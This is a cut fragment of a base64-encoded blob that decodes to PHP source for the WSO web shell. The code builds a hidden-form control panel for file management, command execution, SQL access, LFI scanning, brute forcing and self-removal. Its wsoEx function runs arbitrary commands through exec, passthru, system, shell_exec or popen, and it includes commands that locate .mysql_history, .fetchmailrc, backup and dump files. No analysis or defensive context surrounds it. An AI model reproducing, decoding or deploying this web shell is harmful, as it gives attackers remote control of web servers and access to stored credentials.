faGlzdG9yeSciLCANCiAgICAgICAgImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwgDQogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwgDQogICAgICAgICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsIA0KICAgICAgICAibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsIA0KICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiINCiAgICApOyANCiAgDQpmdW5jdGlvbiB3c29IZWFkZXIoKSB7IA0KICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkgDQogICAgICAgICRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOyANCiAgICBnbG9iYWwgJGNvbG9yOyANCiAgICBlY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NUWydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBXU08gIiAuIFdTT19WRVJTSU9OIC4iPC90aXRsZT4gDQo8c3R5bGU+IA0KYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiNmZmY7fSAgDQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wOyB9ICANCnNwYW4saDEsYXsgY29sb3I6ICRjb2xvciAhaW1wb3J0YW50OyB9ICANCnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0gIA0KaDF7IGJvcmRlcjoxcHggc29saWQgJGNvbG9yO3BhZGRpbmc6IDJweCA1cHg7Zm9udDogMTRwdCBWZXJkYW5hO21hcmdpbjowcHg7IH0gIA0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDVweDttYXJnaW4tbGVmdDo1cHg7fSAgDQpheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfSAgDQphOmhvdmVyeyBiYWNrZ3JvdW5kOiNmZjAwMDA7IH0gIA0KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9ICANCi5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfSAgDQppbnB1dCwgdGV4dGFyZWEsIHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDlwdCBNb25vc3BhY2UsJ0NvdXJpZXIgTmV3JzsgfSAgDQpmb3JteyBtYXJnaW46MHB4OyB9ICANCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0gIA0KLnRvb2xzSW5weyB3aWR0aDogODAlOyB9ICANCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDt9ICANCi5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9ICANCi5tYWluIHRkLCB0aHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fSAgDQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fSANCiNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9ICANCjwvc3R5bGU+IA0KPHNjcmlwdD4gDQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsgDQogICAgdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2EnXSkgLiInDQogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOyANCiAgICB2YXIgcDFfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddLEVOVF9RVU9URVMpKSAuIic7IA0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsgDQogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOyANCiAgICB2YXIgZCA9IGRvY3VtZW50OyANCiAgICBmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsgDQogICAgICAgIGlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87IA0KICAgICAgICBpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOyANCiAgICAgICAgaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFsdWU9cDFfOyANCiAgICAgICAgaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOyANCiAgICAgICAgaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOyANCiAgICAgICAgaWYoY2hhcnNldCE9bnVsbClkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0XzsgDQogICAgfSANCiAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7IA0KICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOyANCiAgICAgICAgZC5tZi5zdWJtaXQoKTsgDQogICAgfSANCiAgICBmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7IA0KICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOyANCiAgICAgICAgdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOyANCiAgICAgICAgZm9yKGk9MDtpPGQubWYuZWxlbWVudHMubGVuZ3RoO2krKykgDQogICAgICAgICAgICBwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOyANCiAgICAgICAgc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7IA0KICAgIH0gDQogICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgDQogICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIA0KICAgICAgICAgICAgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7IA0KICAgICAgICBlbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgDQogICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsgDQogICAgICAgIGlmIChyZXEpIHsgDQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsgDQogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7IA0KICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7IA0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsgDQogICAgICAgIH0gDQogICAgfSANCiAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgeyANCiAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApIA0KICAgICAgICAgICAgaWYocmVxLnN0YXR1cyA9PSAyMDApIHsgDQogICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOyANCiAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOyANCiAgICAgICAgICAgICAgICBldmFsKGFyclsyXS5zdWJzdHIoMCwgYXJyWzFdKSk7IA0KICAgICAgICAgICAgfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOyANCiAgICB9IA0KPC9zY3JpcHQ+IA0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7dG9wOjA7bGVmdDowOyc+IA0KPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4gDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPiANCiAgDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMz4gDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0PiANCjwvZm9ybT4iOyANCiAgICAkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOyANCiAgICAkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7IA0KICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOyANCiAgICAka2VybmVsID0gQHBocF91bmFtZSgncycpOyANCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsgDQogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsgDQogICAgICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsgDQogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsgDQogICAgICAgICRncm91cCA9ICI/IjsgDQogICAgfSBlbHNlIHsgDQogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsgDQogICAgICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsgDQogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOyANCiAgICAgICAgJHVpZCA9ICR1aWRbJ3VpZCddOyANCiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOyANCiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOyANCiAgICB9IA0KICANCiAgICAkY3dkX2xpbmtzID0gJyc7IA0KICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7IA0KICAgICRuPWNvdW50KCRwYXRoKTsgDQogICAgZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsgDQogICAgICAgICRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsgDQogICAgICAgIGZvcigkaj0wOyAkajw9JGk7ICRqKyspIA0KICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOyANCiAgICAgICAgJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOyANCiAgICB9IA0KICANCiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsgDQogICAgJG9wdF9jaGFyc2V0cyA9ICcnOyANCiAgICBmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkgDQogICAgICAgICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsgDQogIA0KICAgICRtID0gYXJyYXkoJ1NlYyBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0V4ZWMnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQSFAgVG9vbHMnPT4ncGhwdG9vbHMnLCdMRkknPT4nbGZpc2NhbicsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdYU1MgU2hlbGwnPT4nWFNTU2hlbGwnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTsgDQogICAgaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpIA0KICAgICAgICAkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsgDQogICAgJG1bJ1NlbGYgcmVtb3ZlJ10gPSAnU2VsZlJlbW92ZSc7IA0KICAgICRtZW51ID0gJyc7IA0KICAgIGZvcmVhY2goJG0gYXMgJGsgPT4gJHYpIA0KICAgICAgICAkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgkbSkpLiclIj5bPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycuJHYuJ1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8L2E+XTwvdGg+JzsgDQogIA0KICAgICRkcml2ZXMgPSAiIjsgDQogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbicpIHsgDQogICAgICAgIGZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKSANCiAgICAgICAgaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpIA0KICAgICAgICAgICAgJGRyaXZlcyAuPSAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOyANCiAgICB9IA0KICAgIGVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDwvbm9icj48YnI+JyAuICR1aWQgLiAnICggJyAuICR1c2VyIC4gJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJyAuICRnaWQgLiAnICggJyAuICRncm91cCAuICcgKTxicj4nIC4gQHBocHZlcnNpb24oKSAuICcgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJyAuICgkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0jMDBiYjAwPjxiPk9GRjwvYj48L2ZvbnQ+JykgDQogICAgICAgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAnPGJyPicgLiB3c29WaWV3U2l6ZSgkdG90YWxTcGFjZSkgLiAnIDxzcGFuPkZyZWU6PC9zcGFuPiAnIC4gd3NvVmlld1NpemUoJGZyZWVTcGFjZSkgLiAnICgnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyUpPGJyPicgLiAkY3dkX2xpbmtzIC4gJyAnLiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPicgLiAkb3B0X2NoYXJzZXRzIC4gJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOyANCn0gDQogIA0KZnVuY3Rpb24gd3NvRm9vdGVyKCkgeyANCiAgICAkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9JyMyNWZmMDAnPihXcml0ZWFibGUpPC9mb250PiI6IiA8Zm9udCBjb2xvcj1yZWQ+KE5vdCB3cml0YWJsZSk8L2ZvbnQ+IjsgDQogICAgZWNobyAiIA0KICANCjwvZGl2PiANCjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+IA0KICAgIDx0cj4gDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IA0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IA0KICAgIDwvdHI+PHRyPiANCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ21rZGlyJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IA0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IA0KICANCiAgICA8L3RyPjx0cj4gDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IA0KICAgICAgICA8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4gDQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4gDQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPiANCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPiANCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+IA0KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+IA0KICANCiAgICA8L3RyPjwvdGFibGU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOyANCn0gDQogIA0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsgDQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9IA0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsgDQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9IA0KICANCmZ1bmN0aW9uIHdzb0V4KCRpbikgeyANCiAgICAkb3V0ID0gJyc7IA0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyANCiAgICAgICAgQGV4ZWMoJGluLCRvdXQpOyANCiAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsJG91dCk7IA0KICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBAcGFzc3RocnUoJGluKTsgDQogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBAc3lzdGVtKCRpbik7IA0KICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7IA0KICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyANCiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsgDQogICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgeyANCiAgICAgICAgJG91dCA9ICIiOyANCiAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgDQogICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOyANCiAgICAgICAgcGNsb3NlKCRmKTsgDQogICAgfSANCiAgICByZXR1cm4gJG91dDsgDQp9IA0KZnVuY3Rpb24gd3NvVmlld1NpemUoJHMpIHsgDQogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkgDQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsgDQogICAgZWxzZWlmKCRzID49IDEwNDg1NzYpIA0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOyANCiAgICBlbHNlaWYoJHMgPj0gMTAyNCkgDQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7IA0KICAgIGVsc2UNCiAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsgDQp9IA0KICANCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7IA0KICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsgDQogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsgDQogICAgZWxzZSAkaSA9ICd1JzsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnI